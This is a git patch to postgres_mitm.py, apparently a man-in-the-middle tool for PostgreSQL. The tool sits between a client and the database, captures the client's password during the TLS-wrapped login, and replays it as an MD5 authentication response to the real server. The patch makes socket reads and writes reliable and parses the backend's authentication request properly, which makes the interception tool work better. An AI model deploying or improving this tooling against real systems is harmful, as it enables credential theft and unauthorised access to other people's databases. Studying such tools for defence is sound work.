From bb107c9074aef3a6321504f5ce62017bbd712e16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tarjei=20Hus=C3=B8y?= Date: Thu, 2 Jun 2016 09:00:39 -0700 Subject: [PATCH] Buffer reads/writes to server Now ensures entire packet is sent by using .sendall() on the socket, and actually reads the auth request packet properly. Also quits earlier, after sending the auth response we now connect the socket directly, letting the server reply success to the client. --- postgres_mitm.py | 48 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/postgres_mitm.py b/postgres_mitm.py index 2d016eb..1d2e41d 100644 --- a/postgres_mitm.py +++ b/postgres_mitm.py @@ -237,6 +237,8 @@ class ClientConnection(threading.Thread): return read_n_bytes_from_socket(self.socket, n) + def read_n_bytes_from_server(self, n): + return read_n_bytes_from_socket(self.server_socket, n) def send_to_client(self, msg): @@ -287,41 +289,44 @@ class ClientConnection(threading.Thread): def connect_to_actual_backend(self, password): - sock = socket.create_connection((self.target_backend, 5432)) - sock.send('%(length)s%(version)s' % { + self.server_socket = socket.create_connection((self.target_backend, 5432)) + packet = '%(length)s%(version)s' % { 'length': struct.pack('!I', 8), 'version': VERSION_SSL, - }) - buffer_size = 1024 - data = sock.recv(buffer_size) + } + self.server_socket.sendall(packet) + data = read_n_bytes_from_socket(self.server_socket, 1) assert data == 'S' - sock = self.ssl_context.wrap_socket(sock) - sock.do_handshake() - sock.send(self.startup_packet) - data = sock.recv() - _logger.debug('Got reply to startup: %s' % repr(data)) - auth_request = parse_auth_request_packet(data) + self.server_socket = self.ssl_context.wrap_socket(self.server_socket) + self.server_socket.do_handshake() + self.server_socket.sendall(self.startup_packet) + raw_auth_request = self.receive_auth_request_from_backend() + _logger.debug('Got auth request: %s' % repr(raw_auth_request)) + auth_request = parse_auth_request_packet(raw_auth_request) if auth_request.method == 'AUTH_REQ_MD5': # options is 4-byte salt salt = auth_request.options response = create_md5_auth_packet(self.options.get('user', ''), password, salt) - sock.send(response) + self.server_socket.sendall(response) else: _logger.debug('Unsupported backend auth method: %s' % auth_request.method) return False - self.server_socket = sock - - # Receive auth response and forward to client - data = self.server_socket.recv() - self.socket.send(data) - # Make socket non-blocking self.server_socket.setblocking(0) return True + def receive_auth_request_from_backend(self): + first_9_bytes = self.read_n_bytes_from_server(9) + assert first_9_bytes[0] == 'R' + packet_length = struct.unpack('!I', first_9_bytes[1:5])[0] + # Tag doesn't count on length, read the rest + the_rest = self.read_n_bytes_from_server(packet_length - 8) + return first_9_bytes + the_rest + + def listen_for_tls_handshake(self): self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True) @@ -390,12 +395,7 @@ def parse_password_from_authentication_packet(data): def parse_auth_request_packet(data): # format is R[] - assert len(data) >= 9 - assert data[0] == 'R' - raw_length = data[1:5] - length = struct.unpack('!I', raw_length)[0] # TODO: Unused - raw_method = data[5:9] - method = struct.unpack('!I', raw_method)[0] + method = struct.unpack('!I', data[5:9])[0] assert method in AUTH_METHODS_REVERSE textual_method = AUTH_METHODS_REVERSE[method] AuthRequest = namedtuple('AuthRequest', 'method options')